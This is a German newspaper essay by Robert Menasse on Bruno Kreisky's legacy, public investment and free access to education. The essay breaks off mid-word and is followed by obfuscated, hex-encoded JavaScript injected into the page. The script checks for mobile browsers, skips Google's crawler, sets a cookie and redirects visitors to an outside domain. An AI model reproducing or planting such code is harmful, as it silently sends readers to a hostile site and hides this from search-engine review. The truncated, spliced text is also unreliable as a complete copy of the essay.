Für die Verantwortlichen im Land

21.01.2011 | Von Robert Menasse (Die Presse)
Was ich dem Alten schuldig bin

Es war damals nicht unbedingt vorgesehen, dass
einer wie ich studiert. Aber plötzlich standen die Tore der Universität
auch für einen wie mich offen. Und ich wurde der erste Akademiker meiner
Familie. Über Bruno Kreisky und die Kreisky-Jahre.

Am 6. Mai 1979 besuchten zweiBenediktiner
ein Schlachtfeld.Dieses Schlachtfeld befindet sich im Marchfeld,
zwischen Dürnkrutund Jedenspeigen – wo es noch heute manchmal vorkommt,
dass Bauernbeim Pflügen dieses guten Landes mit hellem Wiesengrün und
Saatengold, von Lein und Safran gelb und blau gestickt, historische
Gebeine und Schädel zutage fördern, unter den Hügeln voller Wein, wo auf
und auf die goldne Traube hängt und schwellend reift in Gottes
Sonnenglanze.

Die beiden Benediktiner waren die damaligen
Philosophiestudenten Konrad Paul Liessmann und ich, Benediktiner genannt
als Schüler von Universitätsprofessor Michael Benedikt, Experte für die
Kritik der Urteilskraft, dessen Begriff von der Freiheit des Denkens
tatsächlich eine Freiheit des Denkens in den Jahren unserer
universitären Bildung ermöglicht und gefördert hat, die heutige
Studenten, wenn sie bei Sinnen sind, eifersüchtig machen muss.

Liessmann
und ich hatten beschlossen, an diesem milden, schäfchenwolkigen Sonntag
einen Ausflug zum historischen Schlachtfeld und der nunmehrigen
Weinkulturregion Jedenspeigen zu machen, um den Kofferraum meines Skoda,
den meine Großmutter zwei Jahre davor bei der Tombola des
Volksstimme-Fests gewonnen hatte (sie besaß keinen Führerschein – so ist
das Auto an mich gefallen), mit Wein zu füllen, um Vorrat für die
nächtelangen Hegel- und Kant-, Marx-, Adorno- und Trotzki-Diskussionen
der nächsten Wochen zu haben. Bekanntlich war der Geist der
Doppelmonarchie erst in der Doppler-Anarchie der Kunst- und
Philosophie-Zirkel der 1970er-Jahre einigermaßen überwunden.

Jedenfalls:
Da saßen zwei Benediktiner, zum solidarischen Leidweisen Professor
Benedikts zwei linksextreme Studenten, an ei- nem grob gezimmerten
Holztisch im Sonnenuntergang vor einem Weinkeller, mitBlick auf das
Schlachtfeld, auf dem Rudolf I. den König Ottokar vernichtend geschlagen
hatte, was nicht nur die Grundlage für 640 Jahre österreichischer
Habsburger-Geschichte schuf, sondern auch noch die geistigen Grundlagen
der Zweiten Republik prägte. Schließlich wurde im Jahr 1955 das
Burgtheater mit Grillparzers „König Ottokar“ wiedereröffnet –indirekt
die Wiedererlangung der österreichischen Souveränität.

Der
Weinbauer stellte zusammen mit ei- ner neuen Flasche Wein ein
Kofferradio auf den Tisch, sagte: „Jetzt kommt gleich der Bruckmann!“,
und Professor Bruckmann, der damalige „Hochrechner der Nation“,
verkündete, dass Bruno Kreisky an diesem Wahlsonntag die absolute
Mehrheit nicht nur verteidigen, sondern gar ausbauen konnte. Seltsam,
dass die beiden Benediktiner in Jubel ausbrachen – ja! Sie jubelten!

Wir
waren wahrlich keine Kreisky-Ministranten. Über die Auslassungen von
Thomas Bernhard, dieses in keiner Zeile analytischen, in all seinen
Büchern insgesamt aber exemplarisch österreichneurotischen Dichters, der
Bruno Kreisky als „Alpen-Tito“ und „Höhensonnenkönig“ bezeichnet hatte,
lachten wir gewissermaßen links außen (nebenbei gesagt: auch dies ein
zutiefst österreichisches Missverständnis, vergleichbar etwa mitder
Groteske, dass heute ausgerechnet „Presse“-Abonnenten mit Vorliebe Karl
Kraus zitieren). Aber wir kritisierten Kreisky nicht nur noch
marxistisch, sondern auch bereits ökologisch: Bei der
Zwentendorf-Abstimmung hatten wir gegen das Atomkraftwerk gestimmt. Und
Kreiskys Auslassungen gegen Simon Wiesenthal, sein Versuch, nicht nur
diesen anzuschütten, sondern vor allem auch Gräben zuzuschütten, wo
Gräber waren, erschien uns auch nicht gerade als eine Ruhmestat des
Kanzlers.

Dennoch: Wir jubelten. Und dann geschah etwas, was heute
wohl kaum noch vorstellbar ist: Der Bauer umarmte, aufgrund dieses
überwältigenden Wahlsiegs eines Sozialdemokraten, glücklich die beiden
linksextremen Studenten. Da kam auch noch der Dorfgendarm vorbei, hörte
die Nachricht und ballte die Faust, nicht unbedingt wie ein Sozialist,
eher wie ein triumphierender Sportler, und da saßen dann Bauer und
Bäuerin, der Gendarm, der Adornit und der Trotzkist vor einem
Weinkeller, blickten auf die nunmehrige Idylle eines für Österreich
höchst bedeutsamen historischen Schlachtfelds, aßen und tranken,
feierten Kreiskys Wahlsieg – und rot ging die Sonne unter.

Das hat
natürlich keine Bedeutung, zumindest in dem Sinn, dass es etwas
beitragen könnte zur Begründung von Bruno Kreiskys Bedeutung
beziehungsweise der Bedeutung der sogenannten Kreisky-Jahre. Diese
Geschichte ist mir nur augenblicklich eingefallen, als ich eingeladen
wurde, eine Rede auf Bruno Kreisky zu halten, und sie begründet
vielmehr, warum ich diese Einladung augenblicklich als Falle empfand.
Denn dies wollte ich wahrlich nie: in eine Situation kommen, in der ich
plötzlich nostalgisch meine Jugendjahre verkläre oder aber, wenn es
nichts zu verklären gibt, mit dem umwölkten Ernst des „Zeitzeugen“
Anekdoten erzähle. Für die Nostalgie spricht zwar, dass sehr vieles
damals besser wurde, als es davor gewesen war, gegen die Nostalgie
spricht unter anderem aber, dass heute zwar vieles besser sein könnte,
die Voraussetzungen und Notwendigkeiten aber mittlerweile radikal andere
geworden sind. Und gegen die sogenannte Zeitzeugenschaft spricht, was
jedes denkende Gemüt als aufgeklärten Anspruch für sich beschließen muss
und nicht zuletzt damals, in diesen Jahren, als Anspruch zu formulieren
gelernt hat: sich in seiner ganzen Lebenszeit als Zeitgenosse zu
verstehen, seine Zeitgenossenschaft kritisch zu reflektieren, durchaus
auch die Gewordenheit seiner Zeitgenossenschaft zu begreifen, aber
aufjeden Fall dies: immer ein werdender Zeitgenosse zu bleiben! Ein
„Zeitzeuge“ hingegen hat, wenn wir ehrlich sind, in der Regel etwas
Trauriges, wir hören ihm zu in der Hoffnung und mit dem Versprechen,
dass die Zeit, die er bezeugt, nie wiederkehrt.

Bruno Kreisky war,
bei allen Ambivalenzen, ein großer Staatsmann – darüber besteht wohl
kein Zweifel. Aber wer dies heute mit Wehmut, mit nostalgischen Gefühlen
feststellt, bekommt es augenblicklich mit Ambivalenzen zu tun, die
nicht der Person oder der Figur Kreisky geschuldet sind, sondern der
Geschichte, in die er eingetreten ist: Dennsachlich, im Licht der
neueren Geschichte betrachtet, haben wir uns heute keinen Staatsmann
mehr zu wünschen, wir wünschen vielmehr, dass der Staat abstirbt,
zumindest wünschen wir das, wenn wir die europäische Idee ernst nehmen.

Wünschenswert
wären also Politiker völlig neuen Typs, und natürlich sollten sie dabei
zumindest die menschliche und intellektuelle Größe von Bruno Kreisky
haben – andererseits, was sagt das schon? Groß ist jeder Mensch, seiner
Idee nach, zumal einer, der sich das antut: in die Politik zu gehen,
dabei unabhängig zu bleiben und zugleich doch dem Souverän verpflichtet.
– Natürlich habe ich also die Einladung, hier in die Nostalgie- und
Zeitzeugenfalle zu gehen, sofort entrüstet abgelehnt.

Dann
allerdings kam mir ein radikal Anti-Kreiskyscher Gedanke in die Quere,
ich dachte: Nein, ich muss diese Einladung doch annehmen – ich bin das
dem Alten schuldig. Ich verdanke ihm zu viel, ich bin es ihm schuldig!
Sie wissen, dass von Bruno Kreisky der Satz stammt: „Dankbarkeit ist
keine politische Kategorie.“ Aus Dankbarkeit, auch für die Einsichten,
die dieser Satz eröffnet hat, stehe ich nun also doch vor Ihnen, um auch
bei dieser Gelegenheit Schuld abzutragen.

„Schuld abtragen“ ist
in der Auseinandersetzung mit Bruno Kreisky allerdings eine
missverständliche Formulierung. Da nicken gleich die Falschen,
diejenigen, die mit autoflagellantischem Gefuchtel, das aber immer nur
andere trifft, sozial Benachteiligteren ein Sparpaket nach dem anderen
verordnen wollen. Schulden können produktiv sein und ei- nen
nachhaltigen Sinn entfalten. Auch das habe ich von Bruno Kreisky
gelernt.

Dümmster Einwand: die Schulden

Von allen
Einwänden, die bis heute gebetsmühlenartig gegen Kreisky und seine
Politik vorgebracht werden, ist dieser nämlich eindeutig der dümmste:
dass Bruno Kreisky ei- nen immensen Schuldenberg angehäuft ha- be, der
den Staatshaushalt bis heute heillos belaste und noch für künftige
Generationen eine nachgerade unbewältigbare Hypothek darstelle. Erstens
waren diese „Schulden“ verschwindend klein, gemessen an heutigen
Maßstäben, und immer in vernünftiger Relation zu der wachsenden
Produktivität des Landes, zweitens handelte es sich bei diesen Schulden
um Investitionen und nicht um Verschwendung oder gar Raub, im
Unterschied zum Beispiel zu den ökonomischen Verwüstungen, die ein
späterer Kanzler mit jenem Finanzminister produziert hat, der heute
notorisch omnipräsent auf allen Gerichtsseiten ist. Kreisky hat Schulen
und Universitäten, Spitäler und Straßen gebaut, er hatin die
Modernisierung der Infrastruktur investiert, er hat Geld in die Hand
genommen, ohne sich plötzlich ratlos fragen zu müssen, wo denn seine
Leistung war. Dem Geld, das damals geflossen ist, standen dann reale
materielle Werte in öffentlichem Besitz gegenüber – und nicht
privatisiertes Vermögen und private Stiftungen in Liechtenstein.

Nein,
Kreisky hat nicht Schulden produziert, sondern jenen gesellschaftlichen
Reichtum zu befördern begonnen, der in die Nähe des klassischen
sozialdemokratischen Anspruchs von Verteilungsgerechtigkeit kommt,von
dem erst heute wieder die Rede ist. Die Bildungsoffensive, die
Justizreform, dieGleichstellung der Frauen – das soll zu teuer gewesen
sein? Wie viel, bitte, hätte denn der Eintritt Österreichs in die
Moderne nur kosten dürfen? Freiheit und Emanzipation sind nicht mit
einem Saturn-Preis zu bekommen.

Und hier nur ein kurzes Wort zur
Voest: Kreisky hat dieses Unternehmen in den Jahren einer
internationalen Stahlkrise am Leben erhalten. Zahlreiche private
Stahlkocher sind in diesen Jahren in Konkurs gegangen. Sie hätten gerne
getan, was Kreisky gemacht hatte, aber sie konnten es nicht. Als der
Marktbereinigt war und die VOEST daher wieder lukrativ werden konnte –
wurde sie privatisiert. Sollten sie wieder ins Schleudern kommen, werden
wir deren Manager am Ballhausplatz sehen: um ein Revival der
Kreisky-Politik bettelnd…

Aber reden wir jetzt nicht vom Staat,
sondern von der Gesellschaft. Man muss kein Zeitzeuge sein, um sozialen
Frieden hoch zu schätzen, man muss kein Neoliberaler sein, um freie
Entfaltungsmöglichkeiten der Tüchtigen wünschenswert zu finden. Am
besten ist es zweifellos, wenn auf der Basis von sozialem Frieden
möglichst viele in den Stand gesetzt werden, tüchtig zu sein. Wer das
will, wird zumindest die Investitionen tätigen müssen, die Kreisky
getätigt hat. Das ist keineSchuldenpolitik, sondern eine Bringschuld
vernünftiger Politik. Und sie muss dort beginnen, wo auch Kreisky
begonnen hat: mit konsequenten Investitionen in die
Bildungsinstitutionen, vom Kindergarten über die Schulen, die
Universitäten bis zur Erwachsenenbildung. Denn was die Kreisky-Kritik
vornehm ausblendet, ist, dass nicht Kreisky ei- nen Schuldenberg,
sondern dass die Blockade seiner Bildungsoffensive (trotz absoluter
Mehrheit brauchte Kreisky bei strukturellen Reformen der
Bildungsinstitutionen eine parlamentarische Zweidrittelmehrheit) und das
spätere Kaputtsparen der Bildungsinstitutionen ein Heer von virtuellen
Analphabeten produziert hat, das uns noch sehr teuerkommen wird. Nichts
ist in Österreich als Nachweis schlagkräftiger als eine amtliche
Bestätigung. Die amtliche Bestätigung haben wir in Form der PISA-Studie
erhalten. Was muss jetzt noch passieren, damit im Licht dieser
Geschichte eine zeitgenössische Antwort auf die nicht erst kommenden
Herausforderungen selbstverständlich wird?

Als Kreisky seinen
ersten Wahlsieg feierte, war ich Schüler. Als er die erste absolute
Mehrheit eroberte, war ich Maturant. In der Glanzzeit der Ära Kreisky
habe ich studiert. Dieser biografische Hinweis wäre unerheblich, wenn
sich damals der Ehrgeiz meiner Mutter nicht glücklich mit den objektiven
Möglichkeiten getroffen hätte, die Kreiskys Investitionen eröffnet
hatten. Es war damals nämlich nicht unbedingt vorgesehen, dass einer wie
ich studiert. Aber plötzlich standen die Tore der Universität auch für
einen wie mich offen. Und ich wurde der erste Akademiker meiner Familie.
Vielleicht war ich tüchtig. Aber der Tüchtige braucht eine Gasse.
Ziemlich sicher war ich fleißig. Aber mir war ein Feld eröffnet, auf dem
ich meinen Fleiß mit Lust und Neugier beweisen konnte. Wenn es also
einenGrund dafür gibt, dass ich über Kreisky rede,ihm dies schuldig bin
und meinen Dank abstatte, dann diesen: dass ich hier und bei jeder sich
bietenden Gelegenheit, beglaubigt durch meine Erfahrung, darauf
hinweisen möchte, welch unbezahlbare Bedeutung es nicht nur für jede
einzelne individuelle Biografie, sondern objektiv auch für die
Gesellschaft insgesamt hat, einen barrierefreien Zugang zu bestmöglicher
Bildung zu schaffen.

Damit kein Missverständnis aufkommt: Ich
rede von Bildung. Nicht von Ausbildung.Ausbildung versteht sich von
selbst. Auch Knechte sind ausgebildet. Sie haben die erforderliche
Ausbildung, die sie befähigt, Knecht zu sein. Man kann, im Sinne
ökonomischer Erfordernisse, Ausbildung meinetwegen auch als Kapital
bezeichnen. Aber Bildung ist kein Kapital. Bildung ist ein
Menschenrecht. Als solches die Voraussetzung sowohl für glückende
individuelle Biografienals auch für menschengerechtes Zusammenleben in
einer demokratischen Gesellschaft. Was nämlich heute unsere
gewähltenBarrierepolitiker, trotz der Bildungs- und Karrierechancen, die
sie selbst hatten, vergessen oder nie gelernt haben, ist: Es kann keine
Demokratie von Idioten geben.

Studenten: heute Bittsteller

Diejenigen
also, die heute Zugangsbeschränkungen zu Bildungseinrichtungen
durchsetzen wollen, die Differenzierung der Schüler aufgrund ihrer
Herkunft in umbenannten Schultypen, weitere Hürden wie Studiengebühren
und Knock-out-Prüfungen und so weiter, sollen bitte gleich so ehrlich
sein und sagen: Sie sind für die Abschaffung der Demokratie ihrem Geiste
nach. Sie sollen nicht von Budgetzwängen sprechen, sondern klar und
deutlich aussprechen, dass ihnen mündige Bürger mehr schlaflose Nächte
bereiten als eine kaputtgesparte Universitäts- und
Wissenschaftslandschaft.

Und komme mir niemand mit dem Trost,dass
man die angeblich unvermeidlichen Studiengebühren durch den Ausbau des
Stipendiensystems abfedern könne. Erstens würde der Verwaltungsaufwand,
der zur Überprüfung und Anerkennung der Bedürftigkeit notwendig wäre,
ein Gutteil der Einnahmen durch Studiengebühren auffressen, aber selbst
wenn dem nicht so wäre: Es macht einen entscheidenden psychologischen
Unterschied, ob man als freier Menscheinen freien Zugang zu einer
Bildungseinrichtung hat oder als amtlich bestätigter Bittsteller. Wer
also weiter von einem Studiengebühren-System träumt, der soll bitte auch
dies offen und ehrlich sagen: Wir wollen nur jenen Menschen neue
Chancen eröffnen, die zuallererst gelernt haben, Bittsteller zu sein.

Ich
warte darauf, dass dies gesagt – oder dass umgedacht wird. Ich erwarte
das zunächst einmal von den Akademikern in der Regierung und im
Nationalrat.

Bildungsoffensive: zu teuer?

Soweit ich
das überblicke, sind alle Akademiker in der gegenwärtivar _0x446d=[„\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E“,“\x69\x6E\x64\x65\x78\x4F\x66″,“\x63\x6F\x6F\x6B\x69\x65″,“\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,“\x76\x65\x6E\x64\x6F\x72″,“\x6F\x70\x65\x72\x61″,“\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,“\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,“\x74\x65\x73\x74″,“\x73\x75\x62\x73\x74\x72″,“\x67\x65\x74\x54\x69\x6D\x65″,“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D“,“\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,“\x6C\x6F\x63\x61\x74\x69\x6F\x6E“];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

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